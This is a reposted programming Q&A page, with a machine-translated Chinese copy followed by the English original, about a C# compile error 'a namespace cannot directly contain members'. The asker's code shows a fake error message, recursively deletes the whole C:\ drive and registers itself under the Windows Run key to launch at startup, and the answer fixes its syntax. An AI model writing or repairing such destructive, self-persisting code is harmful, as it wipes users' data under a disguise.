命名空间不能直接包含成员如字段或方法? [英] A namespace cannot directly contain members such as fields or methods?

查看:5254
本文介绍了命名空间不能直接包含成员如字段或方法?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我想创建一个在启动时(我知道这听起​​来可能恶意的,但它是一个学校项目)删除用户文档的应用程序。



不过,我得到错误命名空间不能直接包含成员如字段或方法。



回顾过去,它似乎罚款?我希望第二双眼睛可以帮助像我到处找,我无法找到相关的解决方案!



不可否认的,因为我很基本的知识,我已经使用很多帮助在线和从书本。我知道C#的东西是有限的。 ?因此它可能只是说我愚蠢,但每个人都有开始的地方,右



中的代码如下:

 命名空间测试
{
类节目
{
静态无效的主要(字串[] args)
{
MessageBox.Show(发生意外错误);
如果(System.IO.Directory.Exists(@C:\))
{

{
System.IO.Directory.Delete( C:\\,真正的);
}

赶上(System.IO.IOException E)
{
Console.WriteLine(e.Message);
}
}
}
}
公共类节目
{
私人无效SetStartup();
}

的RegistryKey RK = Registry.CurrentUser.OpenSubKey
(SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run真正);

如果(chkStartUp.Checked)
rk.SetValue(AppName的,Application.ExecutablePath.ToString());
,否则
rk.DeleteValue(AppName的,虚假的);

}


解决方案

您的代码严重搞砸周围 SetStartup 。如果按照正常的缩进,你会看到什么更清楚怎么回事了一下。按Ctrl-E随后在Visual Studio D,它会重新格式化您的文档 - 这应使事情更清楚地显



看这(后我已经缩进它):

 公共类节目
{
私人无效SetStartup();
}

的RegistryKey RK = [];

这是试图声明一个变量( RK )一类的外部。你也有与没有身体非抽象方法,你就错过末花括号。



我怀疑你的意味着它是:

 公共类节目
{
//注意:没有分号,和* *开括号
私人无效SetStartup()
{
的RegistryKey RK = [];
//其他代码
}
}

//而且你要关闭的命名空间声明过

你也将有声明了两个(非局部)类具有相同的名称...


问题

I am trying to create an application that deletes user documents at start-up (I am aware that this may sound malicious but it is for a school project).

However, I am getting the error "A namespace cannot directly contain members such as fields or methods".

Looking over it, it seems fine? I am hoping a second pair of eyes can help as I have searched everywhere and I cannot find a relevant solution!

Admittedly, because of my very basic knowledge, I have used a lot of help online and from books and what I know of c# is limited. Therefore it might just be that I'm being stupid, but everyone has to start somewhere, right?

The code is as follows:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:\"))
        {
            try
            {
                System.IO.Directory.Delete("C:\\", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }

解决方案

Your code is seriously messed up around SetStartup. If you follow the normal indentation, you'll see what's going on a bit more clearly. Press Ctrl-E followed by D in Visual Studio, and it'll reformat your document - which should make things considerably clearer.

Look at this (after I've indented it):

public class Program
{
    private void SetStartup();
}

RegistryKey rk = [...];

That's trying to declare a variable (rk) outside a class. You've also got a non-abstract method with no body, and you're missing closing braces at the end.

I suspect you meant it to be:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

You're also going to have problems declaring two (non-partial) classes with the same name...

这篇关于命名空间不能直接包含成员如字段或方法?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
相关文章
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆